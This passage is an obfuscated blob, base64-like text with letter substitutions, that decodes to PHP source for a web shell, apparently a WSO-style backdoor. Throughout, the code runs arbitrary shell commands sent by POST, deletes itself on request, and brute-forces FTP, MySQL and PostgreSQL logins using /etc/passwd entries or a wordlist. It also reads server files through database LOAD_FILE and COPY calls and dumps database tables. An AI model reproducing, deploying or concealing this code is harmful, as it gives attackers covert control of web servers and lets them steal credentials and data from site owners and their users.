HNzNXQoJF9QT1NUWycxajF4J10pKSB7DQoJCSRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nMWoxeCddID0gdHIzNTsNCgkJMmJfc3QxcnQoKTsNCgkJNWNoMiAiZC5jZi5jbWQudjFsMzU9Jyc7XG4iOw0KCQkkdDVtcCA9IEA0YzJudigkX1BPU1RbJ2NoMXJzNXQnXSwgJ1VURi04JywgMWRkY3NsMXNoNXMoIlxuJCAiLiRfUE9TVFsncDYnXS4iXG4iLndzMkV4KCRfUE9TVFsncDYnXSksIlxuXHJcdFxcJ1wwIikpOw0KCQk0ZihwcjVnX20xdGNoKCIhLipjZFxzKyhbXjtdKykkISIsJF9QT1NUWydwNiddLCRtMXRjaCkpCXsNCgkJCTRmKEBjaGQ0cigkbTF0Y2hbNl0pKSB7DQoJCQkJJEdMT0JBTFNbJ2N3ZCddID0gQGc1dGN3ZCgpOw0KCQkJCTVjaDIgImNfPSciLiRHTE9CQUxTWydjd2QnXS4iJzsiOw0KCQkJfQ0KCQl9DQoJCTVjaDIgImQuY2YuMjN0cDN0LnYxbDM1Kz0nIi4kdDVtcC4iJzsiOw0KCQk1Y2gyICJkLmNmLjIzdHAzdC5zY3IybGxUMnAgPSBkLmNmLjIzdHAzdC5zY3IybGxINTRnaHQ7IjsNCgkJJHQ1bXAgPSAyYl9nNXRfY2w1MW4oKTsNCgkJNWNoMiBzdHJsNW4oJHQ1bXApLCAiXG4iLCAkdDVtcDsNCgkJNXg0dDsNCgl9DQoJd3MySDUxZDVyKCk7DQogICAgNWNoMiAiPHNjcjRwdD4NCjRmKHc0bmQydy5FdjVudCkgdzRuZDJ3LmMxcHQzcjVFdjVudHMoRXY1bnQuS0VZRE9XTik7DQp2MXIgY21kcyA9IG41dyBBcnIxeSgnJyk7DQp2MXIgYzNyID0gMDsNCmYzbmN0NDJuIGtwKDUpIHsNCgl2MXIgbiA9ICh3NG5kMncuRXY1bnQpID8gNS53aDRjaCA6IDUuazV5QzJkNTsNCgk0ZihuID09IG84KSB7DQoJCWMzci0tOw0KCQk0ZihjM3I+PTApDQoJCQlkMmMzbTVudC5jZi5jbWQudjFsMzUgPSBjbWRzW2Mzcl07DQoJCTVsczUNCgkJCWMzcisrOw0KCX0gNWxzNSA0ZihuID09IHUwKSB7DQoJCWMzcisrOw0KCQk0ZihjM3IgPCBjbWRzLmw1bmd0aCkNCgkJCWQyYzNtNW50LmNmLmNtZC52MWwzNSA9IGNtZHNbYzNyXTsNCgkJNWxzNQ0KCQkJYzNyLS07DQoJfQ0KfQ0KZjNuY3Q0Mm4gMWRkKGNtZCkgew0KCWNtZHMucDJwKCk7DQoJY21kcy5wM3NoKGNtZCk7DQoJY21kcy5wM3NoKCcnKTsNCgljM3IgPSBjbWRzLmw1bmd0aC02Ow0KfQ0KPC9zY3I0cHQ+IjsNCgk1Y2gyICc8aDY+QzJuczJsNTwvaDY+PGQ0diBjbDFzcz1jMm50NW50PjxmMnJtIG4xbTU9Y2YgMm5zM2JtNHQ9IjRmKGQuY2YuY21kLnYxbDM1PT1cJ2NsNTFyXCcpe2QuY2YuMjN0cDN0LnYxbDM1PVwnXCc7ZC5jZi5jbWQudjFsMzU9XCdcJztyNXQzcm4gZjFsczU7fTFkZCh0aDRzLmNtZC52MWwzNSk7NGYodGg0cy4xajF4LmNoNWNrNWQpezEobjNsbCxuM2xsLHRoNHMuY21kLnYxbDM1LHRoNHMuc2gyd181cnIycnMuY2g1Y2s1ZD82OlwnXCcpO301bHM1e2cobjNsbCxuM2xsLHRoNHMuY21kLnYxbDM1LHRoNHMuc2gyd181cnIycnMuY2g1Y2s1ZD82OlwnXCcpO30gcjV0M3JuIGYxbHM1OyI+PHM1bDVjdCBuMW01PTFsNDFzPic7DQoJZjJyNTFjaCgkR0xPQkFMU1snMWw0MXM1cyddIDFzICRuID0+ICR2KSB7DQoJCTRmKCR2ID09ICcnKSB7DQoJCQk1Y2gyICc8MnB0Z3IyM3AgbDFiNWw9Ii0nLmh0bWxzcDVjNDFsY2gxcnMoJG4pLictIj48LzJwdGdyMjNwPic7DQoJCQljMm50NG4zNTsNCgkJfQ0KCQk1Y2gyICc8MnB0NDJuIHYxbDM1PSInLmh0bWxzcDVjNDFsY2gxcnMoJHYpLiciPicuJG4uJzwvMnB0NDJuPic7DQoJfQ0KCTRmKDVtcHR5KCRfUE9TVFsnMWoxeCddKSYmITVtcHR5KCRfUE9TVFsncDYnXSkpDQoJCSRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nMWoxeCddID0gZjFsczU7DQoJNWNoMiAnPC9zNWw1Y3Q+PDRucDN0IHR5cDU9YjN0dDJuIDJuY2w0Y2s9IjFkZChkLmNmLjFsNDFzLnYxbDM1KTs0ZihkLmNmLjFqMXguY2g1Y2s1ZCl7MShuM2xsLG4zbGwsZC5jZi4xbDQxcy52MWwzNSxkLmNmLnNoMndfNXJyMnJzLmNoNWNrNWQ/NjpcJ1wnKTt9NWxzNXtnKG4zbGwsbjNsbCxkLmNmLjFsNDFzLnYxbDM1LGQuY2Yuc2gyd181cnIycnMuY2g1Y2s1ZD82OlwnXCcpO30iIHYxbDM1PSI+PiI+IDxuMmJyPjw0bnAzdCB0eXA1PWNoNWNrYjJ4IG4xbTU9MWoxeCB2MWwzNT02ICcuKEAkX1NFU1NJT05bbWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJzFqMXgnXT8nY2g1Y2s1ZCc6JycpLic+IHM1bmQgM3M0bmcgQUpBWCA8NG5wM3QgdHlwNT1jaDVja2IyeCBuMW01PXNoMndfNXJyMnJzIHYxbDM1PTYgJy4oITVtcHR5KCRfUE9TVFsncGEnXSl8fCRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nc3RkNXJyX3QyXzIzdCddPydjaDVjazVkJzonJykuJz4gcjVkNHI1Y3Qgc3RkNXJyIHQyIHN0ZDIzdCAoYT4mNik8L24yYnI+PGJyLz48dDV4dDFyNTEgY2wxc3M9YjRnMXI1MSBuMW01PTIzdHAzdCBzdHlsNT0iYjJyZDVyLWIydHQybTowO20xcmc0bjowOyIgcjUxZDJubHk+JzsNCgk0ZighNW1wdHkoJF9QT1NUWydwNiddKSkgew0KCQk1Y2gyIGh0bWxzcDVjNDFsY2gxcnMoIiQgIi4kX1BPU1RbJ3A2J10uIlxuIi53czJFeCgkX1BPU1RbJ3A2J10pKTsNCgl9DQoJNWNoMiAnPC90NXh0MXI1MT48dDFibDUgc3R5bDU9ImIycmQ1cjo2cHggczJsNGQgI2RmaTtiMWNrZ3IyM25kLWMybDJyOiNpaWk7YjJyZDVyLXQycDowcHg7IiBjNWxscDFkZDRuZz0wIGM1bGxzcDFjNG5nPTAgdzRkdGg9IjYwMCUiPjx0cj48dGQgdzRkdGg9IjYlIj4kPC90ZD48dGQ+PDRucDN0IHR5cDU9dDV4dCBuMW01PWNtZCBzdHlsNT0iYjJyZDVyOjBweDt3NGR0aDo2MDAlOyIgMm5rNXlkMnduPSJrcCg1djVudCk7Ij48L3RkPjwvdHI+PC90MWJsNT4nOw0KCTVjaDIgJzwvZjJybT48L2Q0dj48c2NyNHB0PmQuY2YuY21kLmYyYzNzKCk7PC9zY3I0cHQ+JzsNCgl3czJGMjJ0NXIoKTsNCn0NCg0KZjNuY3Q0Mm4gMWN0NDJuTDJnMjN0KCkgew0KICAgIHM1c3M0Mm5fZDVzdHIyeSgpOw0KCWQ0NSgnYnk1IScpOw0KfQ0KDQpmM25jdDQybiAxY3Q0Mm5TNWxmUjVtMnY1KCkgew0KDQoJNGYoJF9QT1NUWydwNiddID09ICd5NXMnKQ0KCQk0ZihAM25sNG5rKHByNWdfcjVwbDFjNSgnIVwoXGQrXClccy4qIScsICcnLCBfX0ZJTEVfXykpKQ0KCQkJZDQ1KCdTaDVsbCBoMXMgYjU1biByNW0ydjVkJyk7DQoJCTVsczUNCgkJCTVjaDIgJzNubDRuayA1cnIyciEnOw0KICAgIDRmKCRfUE9TVFsncDYnXSAhPSAneTVzJykNCiAgICAgICAgd3MySDUxZDVyKCk7DQoJNWNoMiAnPGg2PlMzNGM0ZDU8L2g2PjxkNHYgY2wxc3M9YzJudDVudD5SNTFsbHkgdzFudCB0MiByNW0ydjUgdGg1IHNoNWxsPzxicj48MSBocjVmPSMgMm5jbDRjaz0iZyhuM2xsLG4zbGwsXCd5NXNcJykiPlk1czwvMT48L2Q0dj4nOw0KCXdzMkYyMnQ1cigpOw0KfQ0KDQpmM25jdDQybiAxY3Q0Mm5CcjN0NWYycmM1KCkgew0KCXdzMkg1MWQ1cigpOw0KCTRmKCA0c3M1dCgkX1BPU1RbJ3ByMnQyJ10pICkgew0KCQk1Y2gyICc8aDY+UjVzM2x0czwvaDY+PGQ0diBjbDFzcz1jMm50NW50PjxzcDFuPlR5cDU6PC9zcDFuPiAnLmh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydwcjJ0MiddKS4nIDxzcDFuPlM1cnY1cjo8L3NwMW4+ICcuaHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3M1cnY1ciddKS4nPGJyPic7DQoJCTRmKCAkX1BPU1RbJ3ByMnQyJ10gPT0gJ2Z0cCcgKSB7DQoJCQlmM25jdDQybiBicjN0NUYycmM1KCQ0cCwkcDJydCwkbDJnNG4sJHAxc3MpIHsNCgkJCQkkZnAgPSBAZnRwX2Mybm41Y3QoJDRwLCAkcDJydD8kcDJydDphNik7DQoJCQkJNGYoISRmcCkgcjV0M3JuIGYxbHM1Ow0KCQkJCSRyNXMgPSBAZnRwX2wyZzRuKCRmcCwgJGwyZzRuLCAkcDFzcyk7DQoJCQkJQGZ0cF9jbDJzNSgkZnApOw0KCQkJCXI1dDNybiAkcjVzOw0KCQkJfQ0KCQl9IDVsczU0ZiggJF9QT1NUWydwcjJ0MiddID09ICdteXNxbCcgKSB7DQoJCQlmM25jdDQybiBicjN0NUYycmM1KCQ0cCwkcDJydCwkbDJnNG4sJHAxc3MpIHsNCgkJCQkkcjVzID0gQG15c3FsX2Mybm41Y3QoJDRwLic6Jy4kcDJydD8kcDJydDpvbzBlLCAkbDJnNG4sICRwMXNzKTsNCgkJCQlAbXlzcWxfY2wyczUoJHI1cyk7DQoJCQkJcjV0M3JuICRyNXM7DQoJCQl9DQoJCX0gNWxzNTRmKCAkX1BPU1RbJ3ByMnQyJ10gPT0gJ3Bnc3FsJyApIHsNCgkJCWYzbmN0NDJuIGJyM3Q1RjJyYzUoJDRwLCRwMnJ0LCRsMmc0biwkcDFzcykgew0KCQkJCSRzdHIgPSAiaDJzdD0nIi4kNHAuIicgcDJydD0nIi4kcDJydC4iJyAzczVyPSciLiRsMmc0bi4iJyBwMXNzdzJyZD0nIi4kcDFzcy4iJyBkYm4xbTU9cDJzdGdyNXMiOw0KCQkJCSRyNXMgPSBAcGdfYzJubjVjdCgkc3RyKTsNCgkJCQlAcGdfY2wyczUoJHI1cyk7DQoJCQkJcjV0M3JuICRyNXM7DQoJCQl9DQoJCX0NCgkJJHMzY2M1c3MgPSAwOw0KCQkkMXR0NW1wdHMgPSAwOw0KCQkkczVydjVyID0gNXhwbDJkNSgiOiIsICRfUE9TVFsnczVydjVyJ10pOw0KCQk0ZigkX1BPU1RbJ3R5cDUnXSA9PSA2KSB7DQoJCQkkdDVtcCA9IEBmNGw1KCcvNXRjL3Axc3N3ZCcpOw0KCQkJNGYoIDRzXzFycjF5KCR0NW1wKSApDQoJCQkJZjJyNTFjaCgkdDVtcCAxcyAkbDRuNSkgew0KCQkJCQkkbDRuNSA9IDV4cGwyZDUoIjoiLCAkbDRuNSk7DQoJCQkJCSsrJDF0dDVtcHRzOw0KCQkJCQk0ZiggYnIzdDVGMnJjNShAJHM1cnY1clswXSxAJHM1cnY1cls2XSwgJGw0bjVbMF0sICRsNG41WzBdKSApIHsNCgkJCQkJCSRzM2NjNXNzKys7DQoJCQkJCQk1Y2gyICc8Yj4nLmh0bWxzcDVjNDFsY2gxcnMoJGw0bjVbMF0pLic8L2I+OicuaHRtbHNwNWM0MWxjaDFycygkbDRuNVswXSkuJzxicj4nOw0KCQkJCQl9DQoJCQkJCTRmKEAkX1BPU1RbJ3I1djVyczUnXSkgew0KCQkJCQkJJHRtcCA9ICIiOw0KCQkJCQkJZjJyKCQ0PXN0cmw1bigkbDRuNVswXSktNjsgJDQ+PTA7IC0tJDQpDQoJCQkJCQkJJHRtcCAuPSAkbDRuNVswXVskNF07DQoJCQkJCQkrKyQxdHQ1bXB0czsNCgkJCQkJCTRmKCBicjN0NUYycmM1KEAkczVydjVyWzBdLEAkczVydjVyWzZdLCAkbDRuNVswXSwgJHRtcCkgKSB7DQoJCQkJCQkJJHMzY2M1c3MrKzsNCgkJCQkJCQk1Y2gyICc8Yj4nLmh0bWxzcDVjNDFsY2gxcnMoJGw0bjVbMF0pLic8L2I+OicuaHRtbHNwNWM0MWxjaDFycygkdG1wKTsNCgkJCQkJCX0NCgkJCQkJfQ0KCQkJCX0NCgkJfSA1bHM1NGYoJF9QT1NUWyd0eXA1J10gPT0gYSkgew0KCQkJJHQ1bXAgPSBAZjRsNSgkX1BPU1RbJ2Q0Y3QnXSk7DQoJCQk0ZiggNHNfMXJyMXkoJHQ1bXApICkNCgkJCQlmMnI1MWNoKCR0NW1wIDFzICRsNG41KSB7DQoJCQkJCSRsNG41ID0gdHI0bSgkbDRuNSk7DQoJCQkJCSsrJDF0dDVtcHRzOw0KCQkJCQk0ZiggYnIzdDVGMnJjNSgkczVydjVyWzBdLEAkczVydjVyWzZdLCAkX1BPU1RbJ2wyZzRuJ10sICRsNG41KSApIHsNCgkJCQkJCSRzM2NjNXNzKys7DQoJCQkJCQk1Y2gyICc8Yj4nLmh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydsMmc0biddKS4nPC9iPjonLmh0bWxzcDVjNDFsY2gxcnMoJGw0bjUpLic8YnI+JzsNCgkJCQkJfQ0KCQkJCX0NCgkJfQ0KCQk1Y2gyICI8c3Axbj5BdHQ1bXB0czo8L3NwMW4+ICQxdHQ1bXB0cyA8c3Axbj5TM2NjNXNzOjwvc3Axbj4gJHMzY2M1c3M8L2Q0dj48YnI+IjsNCgl9DQoJNWNoMiAnPGg2PkZUUCBicjN0NWYycmM1PC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+PHQxYmw1PjxmMnJtIG01dGgyZD1wMnN0Pjx0cj48dGQ+PHNwMW4+VHlwNTwvc3Axbj48L3RkPicNCgkJLic8dGQ+PHM1bDVjdCBuMW01PXByMnQyPjwycHQ0Mm4gdjFsMzU9ZnRwPkZUUDwvMnB0NDJuPjwycHQ0Mm4gdjFsMzU9bXlzcWw+TXlTcWw8LzJwdDQybj48MnB0NDJuIHYxbDM1PXBnc3FsPlAyc3RncjVTcWw8LzJwdDQybj48L3M1bDVjdD48L3RkPjwvdHI+PHRyPjx0ZD4nDQoJCS4nPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9YyB2MWwzNT0iJy5odG1sc3A1YzQxbGNoMXJzKCRHTE9CQUxTWydjd2QnXSkuJyI+Jw0KCQkuJzw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PTEgdjFsMzU9IicuaHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJzEnXSkuJyI+Jw0KCQkuJzw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PWNoMXJzNXQgdjFsMzU9IicuaHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ2NoMXJzNXQnXSkuJyI+Jw0KCQkuJzxzcDFuPlM1cnY1cjpwMnJ0PC9zcDFuPjwvdGQ+Jw0KCQkuJzx0ZD48NG5wM3QgdHlwNT10NXh0IG4xbTU9czVydjVyIHYxbDM1PSI2YTcuMC4wLjYiPjwvdGQ+PC90cj4nDQoJCS4nPHRyPjx0ZD48c3Axbj5CcjN0NSB0eXA1PC9zcDFuPjwvdGQ+Jw0KCQkuJzx0ZD48bDFiNWw+PDRucDN0IHR5cDU9cjFkNDIgbjFtNT10eXA1IHYxbDM1PSI2IiBjaDVjazVkPiAvNXRjL3Axc3N3ZDwvbDFiNWw+PC90ZD48L3RyPicNCgkJLic8dHI+PHRkPjwvdGQ+PHRkPjxsMWI1bCBzdHlsNT0icDFkZDRuZy1sNWZ0OjZpcHgiPjw0bnAzdCB0eXA1PWNoNWNrYjJ4IG4xbTU9cjV2NXJzNSB2MWwzNT02IGNoNWNrNWQ+IHI1djVyczUgKGwyZzRuIC0+IG40ZzJsKTwvbDFiNWw+PC90ZD48L3RyPicNCgkJLic8dHI+PHRkPjwvdGQ+PHRkPjxsMWI1bD48NG5wM3QgdHlwNT1yMWQ0MiBuMW01PXR5cDUgdjFsMzU9ImEiPiBENGN0NDJuMXJ5PC9sMWI1bD48L3RkPjwvdHI+Jw0KCQkuJzx0cj48dGQ+PC90ZD48dGQ+PHQxYmw1IHN0eWw1PSJwMWRkNG5nLWw1ZnQ6NmlweCI+PHRyPjx0ZD48c3Axbj5MMmc0bjwvc3Axbj48L3RkPicNCgkJLic8dGQ+PDRucDN0IHR5cDU9dDV4dCBuMW01PWwyZzRuIHYxbDM1PSJyMjJ0Ij48L3RkPjwvdHI+Jw0KCQkuJzx0cj48dGQ+PHNwMW4+RDRjdDQybjFyeTwvc3Axbj48L3RkPicNCgkJLic8dGQ+PDRucDN0IHR5cDU9dDV4dCBuMW01PWQ0Y3QgdjFsMzU9IicuaHRtbHNwNWM0MWxjaDFycygkR0xPQkFMU1snY3dkJ10pLidwMXNzd2QuZDRjIj48L3RkPjwvdHI+PC90MWJsNT4nDQoJCS4nPC90ZD48L3RyPjx0cj48dGQ+PC90ZD48dGQ+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSI+PiI+PC90ZD48L3RyPjwvZjJybT48L3QxYmw1Pic7DQoJNWNoMiAnPC9kNHY+PGJyPic7DQoJd3MyRjIydDVyKCk7DQp9DQoNCmYzbmN0NDJuIDFjdDQyblNxbCgpIHsNCgljbDFzcyBEYkNsMXNzIHsNCgkJdjFyICR0eXA1Ow0KCQl2MXIgJGw0bms7DQoJCXYxciAkcjVzOw0KCQlmM25jdDQybiBEYkNsMXNzKCR0eXA1KQl7DQoJCQkkdGg0cy0+dHlwNSA9ICR0eXA1Ow0KCQl9DQoJCWYzbmN0NDJuIGMybm41Y3QoJGgyc3QsICQzczVyLCAkcDFzcywgJGRibjFtNSl7DQoJCQlzdzR0Y2goJHRoNHMtPnR5cDUpCXsNCgkJCQljMXM1ICdteXNxbCc6DQoJCQkJCTRmKCAkdGg0cy0+bDRuayA9IEBteXNxbF9jMm5uNWN0KCRoMnN0LCQzczVyLCRwMXNzLHRyMzUpICkgcjV0M3JuIHRyMzU7DQoJCQkJCWJyNTFrOw0KCQkJCWMxczUgJ3Bnc3FsJzoNCgkJCQkJJGgyc3QgPSA1eHBsMmQ1KCc6JywgJGgyc3QpOw0KCQkJCQk0ZighJGgyc3RbNl0pICRoMnN0WzZdPWl1b2E7DQoJCQkJCTRmKCAkdGg0cy0+bDRuayA9IEBwZ19jMm5uNWN0KCJoMnN0PXskaDJzdFswXX0gcDJydD17JGgyc3RbNl19IDNzNXI9JDNzNXIgcDFzc3cycmQ9JHAxc3MgZGJuMW01PSRkYm4xbTUiKSApIHI1dDNybiB0cjM1Ow0KCQkJCQlicjUxazsNCgkJCX0NCgkJCXI1dDNybiBmMWxzNTsNCgkJfQ0KCQlmM25jdDQybiBzNWw1Y3RkYigkZGIpIHsNCgkJCXN3NHRjaCgkdGg0cy0+dHlwNSkJew0KCQkJCWMxczUgJ215c3FsJzoNCgkJCQkJNGYgKEBteXNxbF9zNWw1Y3RfZGIoJGRiKSlyNXQzcm4gdHIzNTsNCgkJCQkJYnI1MWs7DQoJCQl9DQoJCQlyNXQzcm4gZjFsczU7DQoJCX0NCgkJZjNuY3Q0Mm4gcTM1cnkoJHN0cikgew0KCQkJc3c0dGNoKCR0aDRzLT50eXA1KSB7DQoJCQkJYzFzNSAnbXlzcWwnOg0KCQkJCQlyNXQzcm4gJHRoNHMtPnI1cyA9IEBteXNxbF9xMzVyeSgkc3RyKTsNCgkJCQkJYnI1MWs7DQoJCQkJYzFzNSAncGdzcWwnOg0KCQkJCQlyNXQzcm4gJHRoNHMtPnI1cyA9IEBwZ19xMzVyeSgkdGg0cy0+bDRuaywkc3RyKTsNCgkJCQkJYnI1MWs7DQoJCQl9DQoJCQlyNXQzcm4gZjFsczU7DQoJCX0NCgkJZjNuY3Q0Mm4gZjV0Y2goKSB7DQoJCQkkcjVzID0gZjNuY19uM21fMXJncygpP2YzbmNfZzV0XzFyZygwKTokdGg0cy0+cjVzOw0KCQkJc3c0dGNoKCR0aDRzLT50eXA1KQl7DQoJCQkJYzFzNSAnbXlzcWwnOg0KCQkJCQlyNXQzcm4gQG15c3FsX2Y1dGNoXzFzczJjKCRyNXMpOw0KCQkJCQlicjUxazsNCgkJCQljMXM1ICdwZ3NxbCc6DQoJCQkJCXI1dDNybiBAcGdfZjV0Y2hfMXNzMmMoJHI1cyk7DQoJCQkJCWJyNTFrOw0KCQkJfQ0KCQkJcjV0M3JuIGYxbHM1Ow0KCQl9DQoJCWYzbmN0NDJuIGw0c3REYnMoKSB7DQoJCQlzdzR0Y2goJHRoNHMtPnR5cDUpCXsNCgkJCQljMXM1ICdteXNxbCc6DQogICAgICAgICAgICAgICAgICAgICAgICByNXQzcm4gJHRoNHMtPnEzNXJ5KCJTSE9XIGQxdDFiMXM1cyIpOw0KCQkJCWJyNTFrOw0KCQkJCWMxczUgJ3Bnc3FsJzoNCgkJCQkJcjV0M3JuICR0aDRzLT5yNXMgPSAkdGg0cy0+cTM1cnkoIlNFTEVDVCBkMXRuMW01IEZST00gcGdfZDF0MWIxczUgV0hFUkUgZDF0NHN0NW1wbDF0NSE9J3QnIik7DQoJCQkJYnI1MWs7DQoJCQl9DQoJCQlyNXQzcm4gZjFsczU7DQoJCX0NCgkJZjNuY3Q0Mm4gbDRzdFQxYmw1cygpIHsNCgkJCXN3NHRjaCgkdGg0cy0+dHlwNSkJew0KCQkJCWMxczUgJ215c3FsJzoNCgkJCQkJcjV0M3JuICR0aDRzLT5yNXMgPSAkdGg0cy0+cTM1cnkoJ1NIT1cgVEFCTEVTJyk7DQoJCQkJYnI1MWs7DQoJCQkJYzFzNSAncGdzcWwnOg0KCQkJCQlyNXQzcm4gJHRoNHMtPnI1cyA9ICR0aDRzLT5xMzVyeSgiczVsNWN0IHQxYmw1X24xbTUgZnIybSA0bmYycm0xdDQybl9zY2g1bTEudDFibDVzIHdoNXI1IHQxYmw1X3NjaDVtMSAhPSAnNG5mMnJtMXQ0Mm5fc2NoNW0xJyBBTkQgdDFibDVfc2NoNW0xICE9ICdwZ19jMXQxbDJnJyIpOw0KCQkJCWJyNTFrOw0KCQkJfQ0KCQkJcjV0M3JuIGYxbHM1Ow0KCQl9DQoJCWYzbmN0NDJuIDVycjJyKCkgew0KCQkJc3c0dGNoKCR0aDRzLT50eXA1KQl7DQoJCQkJYzFzNSAnbXlzcWwnOg0KCQkJCQlyNXQzcm4gQG15c3FsXzVycjJyKCk7DQoJCQkJYnI1MWs7DQoJCQkJYzFzNSAncGdzcWwnOg0KCQkJCQlyNXQzcm4gQHBnX2wxc3RfNXJyMnIoKTsNCgkJCQlicjUxazsNCgkJCX0NCgkJCXI1dDNybiBmMWxzNTsNCgkJfQ0KCQlmM25jdDQybiBzNXRDaDFyczV0KCRzdHIpIHsNCgkJCXN3NHRjaCgkdGg0cy0+dHlwNSkJew0KCQkJCWMxczUgJ215c3FsJzoNCgkJCQkJNGYoZjNuY3Q0Mm5fNXg0c3RzKCdteXNxbF9zNXRfY2gxcnM1dCcpKQ0KCQkJCQkJcjV0M3JuIEBteXNxbF9zNXRfY2gxcnM1dCgkc3RyLCAkdGg0cy0+bDRuayk7DQoJCQkJCTVsczUNCgkJCQkJCSR0aDRzLT5xMzVyeSgnU0VUIENIQVJTRVQgJy4kc3RyKTsNCgkJCQkJYnI1MWs7DQoJCQkJYzFzNSAncGdzcWwnOg0KCQkJCQlyNXQzcm4gQHBnX3M1dF9jbDQ1bnRfNW5jMmQ0bmcoJHRoNHMtPmw0bmssICRzdHIpOw0KCQkJCQlicjUxazsNCgkJCX0NCgkJCXI1dDNybiBmMWxzNTsNCgkJfQ0KCQlmM25jdDQybiBsMjFkRjRsNSgkc3RyKSB7DQoJCQlzdzR0Y2goJHRoNHMtPnR5cDUpCXsNCgkJCQljMXM1ICdteXNxbCc6DQoJCQkJCXI1dDNybiAkdGg0cy0+ZjV0Y2goJHRoNHMtPnEzNXJ5KCJTRUxFQ1QgTE9BRF9GSUxFKCciLjFkZHNsMXNoNXMoJHN0cikuIicpIDFzIGY0bDUiKSk7DQoJCQkJYnI1MWs7DQoJCQkJYzFzNSAncGdzcWwnOg0KCQkJCQkkdGg0cy0+cTM1cnkoIkNSRUFURSBUQUJMRSB3czJhKGY0bDUgdDV4dCk7Q09QWSB3czJhIEZST00gJyIuMWRkc2wxc2g1cygkc3RyKS4iJztzNWw1Y3QgZjRsNSBmcjJtIHdzMmE7Iik7DQoJCQkJCSRyPTFycjF5KCk7DQoJCQkJCXdoNGw1KCQ0PSR0aDRzLT5mNXRjaCgpKQ0KCQkJCQkJJHJbXSA9ICQ0WydmNGw1J107DQoJCQkJCSR0aDRzLT5xMzVyeSgnZHIycCB0MWJsNSB3czJhJyk7DQoJCQkJCXI1dDNybiAxcnIxeSgnZjRsNSc9PjRtcGwyZDUoIlxuIiwkcikpOw0KCQkJCWJyNTFrOw0KCQkJfQ0KCQkJcjV0M3JuIGYxbHM1Ow0KCQl9DQoJCWYzbmN0NDJuIGQzbXAoJHQxYmw1LCAkZnAgPSBmMWxzNSkgew0KCQkJc3c0dGNoKCR0aDRzLT50eXA1KQl7DQoJCQkJYzFzNSAnbXlzcWwnOg0KCQkJCQkkcjVzID0gJHRoNHMtPnEzNXJ5KCdTSE9XIENSRUFURSBUQUJMRSBgJy4kdDFibDUuJ2AnKTsNCgkJCQkJJGNyNTF0NSA9IG15c3FsX2Y1dGNoXzFycjF5KCRyNXMpOw0KCQkJCQkkc3FsID0gJGNyNTF0NVs2XS4iO1xuIjsNCiAgICAgICAgICAgICAgICAgICAgNGYoJGZwKSBmd3I0dDUoJGZwLCAkc3FsKTsgNWxzNSA1Y2gyKCRzcWwpOw0KCQkJCQkkdGg0cy0+cTM1cnkoJ1NFTEVDVCAqIEZST00gYCcuJHQxYmw1LidgJyk7DQogICAgICAgICAgICAgICAgICAgICRoNTFkID0gdHIzNTsNCgkJCQkJd2g0bDUoJDR0NW0gPSAkdGg0cy0+ZjV0Y2goKSkgew0KCQkJCQkJJGMybDNtbnMgPSAxcnIxeSgpOw0KCQkJCQkJZjJyNTFjaCgkNHQ1bSAxcyAkaz0+JHYpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA0ZigkdiA9PSBuM2xsKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkNHQ1bVska10gPSAiTlVMTCI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgNWxzNTRmKDRzX24zbTVyNGMoJHYpKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkNHQ1bVska10gPSAkdjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA1bHM1DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQ0dDVtWyRrXSA9ICInIi5AbXlzcWxfcjUxbF81c2MxcDVfc3RyNG5nKCR2KS4iJyI7DQoJCQkJCQkJJGMybDNtbnNbXSA9ICJgIi4kay4iYCI7DQoJCQkJCQl9DQogICAgICAgICAgICAgICAgICAgICAgICA0ZigkaDUxZCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzcWwgPSAnSU5TRVJUIElOVE8gYCcuJHQxYmw1LidgICgnLjRtcGwyZDUoIiwgIiwgJGMybDNtbnMpLiIpIFZBTFVFUyBcblx0KCIuNG1wbDJkNSgiLCAiLCAkNHQ1bSkuJyknOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRoNTFkID0gZjFsczU7DQogICAgICAgICAgICAgICAgICAgICAgICB9IDVsczUNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc3FsID0gIlxuXHQsKCIuNG1wbDJkNSgiLCAiLCAkNHQ1bSkuJyknOw0KICAgICAgICAgICAgICAgICAgICAgICAgNGYoJGZwKSBmd3I0dDUoJGZwLCAkc3FsKTsgNWxzNSA1Y2gyKCRzcWwpOw0KCQkJCQl9DQogICAgICAgICAgICAgICAgICAgIDRmKCEkaDUxZCkNCiAgICAgICAgICAgICAgICAgICAgICAgIDRmKCRmcCkgZndyNHQ1KCRmcCwgIjtcblxuIik7IDVsczUgNWNoMigiO1xuXG4iKTsNCgkJCQlicjUxazsNCgkJCQljMXM1ICdwZ3NxbCc6DQoJCQkJCSR0aDRzLT5xMzVyeSgnU0VMRUNUICogRlJPTSAnLiR0MWJsNSk7DQoJCQkJCXdoNGw1KCQ0dDVtID0gJHRoNHMtPmY1dGNoKCkpIHsNCgkJCQkJCSRjMmwzbW5zID0gMXJyMXkoKTsNCgkJCQkJCWYycjUxY2goJDR0NW0gMXMgJGs9PiR2KSB7DQoJCQkJCQkJJDR0NW1bJGtdID0gIiciLjFkZHNsMXNoNXMoJHYpLiInIjsNCgkJCQkJCQkkYzJsM21uc1tdID0gJGs7DQoJCQkJCQl9DQogICAgICAgICAgICAgICAgICAgICAgICAkc3FsID0gJ0lOU0VSVCBJTlRPICcuJHQxYmw1LicgKCcuNG1wbDJkNSgiLCAiLCAkY